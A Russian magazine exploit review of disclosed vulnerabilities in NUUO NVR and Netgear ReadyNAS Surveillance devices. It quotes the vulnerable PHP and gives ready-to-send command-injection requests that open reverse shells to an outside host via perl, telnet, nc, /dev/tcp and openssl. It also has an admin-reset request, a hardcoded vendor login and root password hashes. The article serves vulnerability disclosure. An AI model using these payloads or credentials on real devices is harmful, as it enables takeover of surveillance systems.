В сегодняшнем обзоре мы пройдемся по многочисленным уязвимостям в продуктах компании NUUO, которая занимается разработкой систем для камер наблюдения. Помимо этого, разберем несколько уязвимостей, которым были подвержены популярные среды разработки компании JetBrains (PyCharm, IntelliJ IDEA, WebStorm и другие): удаленное выполнение кода и раскрытие файлов.

 

Многочисленные уязвимости в NUUO NVRmini 2 / NVRsolo / Crystal devices и Netgear ReadyNAS Surveillance

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 4 августа 2016 года
Автор: Педру Рибейру (Pedro Ribeiro), Agile Information Security
CVE: CVE-2016-5674, CVE-2016-5675, CVE-2016-5676, CVE-2016-5677, CVE-2016-5678, CVE-2016-5679

NUUO — разработчик систем Network Video Recording (NVR) для камер наблюдения. NVR — это встраиваемые системы на Linux для управления камерами, они широко используются по всему миру — в госучреждениях, институтах, банках, малых и средних предприятиях. Помимо прочего, в этих системах есть пакет ПО Netgear, которое дает возможность записывать видео и вести мониторинг по сети при помощи хорошо известных систем хранения данных Netgear ReadyNAS.

Веб-интерфейс такой системы содержит ряд критических уязвимостей, которые могут быть проэксплуатированы неавторизованным атакующим. Эти уязвимости состоят из оставленных разработчиками бэкдоров-мониторов, предположительно для использования инженерами NUUO. Проблемой стали захардкоженные данные для авторизации, недостаточная проверка вводимых данных и переполнение буфера, которое позволяет выполнить произвольный код от имени root (в устройствах NUUO) и admin (для Netgear).

Автором эксплоита были протестированы устройства NVRmini 2, NVRsolo, Crystal и ReadyNAS Surveillance, но остальные продукты NUUO и другие сторонние устройства (к примеру, NUUO Titan) тоже могут быть уязвимы.

 

EXPLOIT

Уязвимость 1. Неправильная проверка вводимых данных приводит к удаленному выполнению кода

Веб-интерфейс содержит скрытый файл с именем __debugging_center_utils___.php, который неправильно проверяет параметр log и передает его значение в функцию system().

<?php
function print_file($file_fullpath_name)
{
  $cmd = "cat " . $file_fullpath_name;
  echo $file_fullpath_name . "\n\n";
  system($cmd);
}

if (isset($_GET['log']) && !empty($_GET['log']))
{
    $file_fullpath_name = constant('LOG_FILE_FOLDER') . '/' . basename($_GET['log']);
    print_file($file_fullpath_name);
}
else
{
    die("unknown command.");
}

Доступ к этому файлу может получить любой неавторизованный пользователь. В итоге мы можем сделать следующее:

ReadyNAS Surveillance. Пример открытия бэк-шелла на адрес 192.168.1.204:9000 с правами admin:

GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b'

NVRmini 2 и NVRsolo. Пример открытия двух шеллов на адрес 192.168.1.204, один на 9999-м порту, а другой — на 9998-м. Выполнение команд идет на 9999-м порту, а вывод получает 9998-й порт. Команды выполняются с правами root:

GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998

Уязвимость 2. Неправильная проверка вводимых данных приводит к удаленному выполнению кода

Скрипт handle_daylightsaving.php недостаточно надежно проверяет параметр NTPServer и передает его значение в функцию system().

else if ($act == 'update')
{
  $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);

  $find_str = "time server";

  $sys_msg = system($cmd);
  $pos = strpos($sys_msg, $find_str);

Для доступа к этому файлу уже нужна учетная запись авторизованного пользователя с правами администратора.

ReadyNAS Surveillance. Создаем файл /tmp/test с выводом команды whoami:

GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test

NVRmini 2 и NVRsolo. Открываем шелл с правами root:

GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f

Crystal. Можем открыть шелл с правами root:

GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26

Уязвимость 3. Сброс пароля администратора

В старых версиях прошивок и приложения ReadyNAS Surveillance неавторизованные пользователи могли обратиться к файлу cgi_system из веб-интерфейса. Этот файл позволяет выполнять несколько интересных системных команд, таких как загрузка настроек по умолчанию. Это позволяет сбросить пароль администратора. Похоже, что версии 2.2.1 и 3.0.0 прошивок NVRmini 2 и NVRsolo уже не уязвимы, хотя ReadyNAS Surveillance по-прежнему содержит уязвимость:

GET /cgi-bin/cgi_system?cmd=loaddefconfig

Уязвимость 4. Раскрытие информации

В веб-интерфейсе есть скрытый файл __nvr_status___.php с захардкоженными логином и паролем, которые позволяют просмотреть список текущих процессов, информацию о доступной памяти и статус файловой системы. Эта информация может быть получена неавторизованным пользователем с помощью следующего запроса:

POST /__nvr_status___.php HTTP/1.1
username=nuuoeng&password=qwe23622260&submit=Submit

Уязвимость 5. Захардкоженный пароль администратора

NVRmini 2 и NVRsolo содержат два захардкоженных пароля для пользователя root (один закомментирован). У авторов эксплоита не получилось их подобрать, но они есть во всех устройствах NVRmini 2 и NVRsolo.

NVRmini 2

#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::

NVRsolo

#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::

Уязвимость 6. Инъекция команд в transfer_license

У этой уязвимости есть ограничение: для удаленной атаки требуется аккаунт администратора, а для локальной — права авторизованного пользователя.

В команду transfer_license можно внедрить свою команду через параметр sn:

cgi_main?cmd=transfer_license&method=offline&sn=";<command>;#

Эти данные будут переданы напрямую в C-функцию system() в исполняемом файле cgi_main (дальше мы подробнее рассмотрим этот фрагмент кода).

NVRmini 2. Можно открыть шелл на порту 4444:

GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23

В Netgear Surveillance нет netcat, но можно получить OpenSSL реверс-шелл по адресу 192.168.133.204:4444:

GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


1 комментарий

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

Уязвимость Optionsbleed: некоторые серверы Apache могут допускать утечку данных из памяти

Исследователь обнаружил, что в некоторых случаях, в ответ на обычный клиентский запрос, се…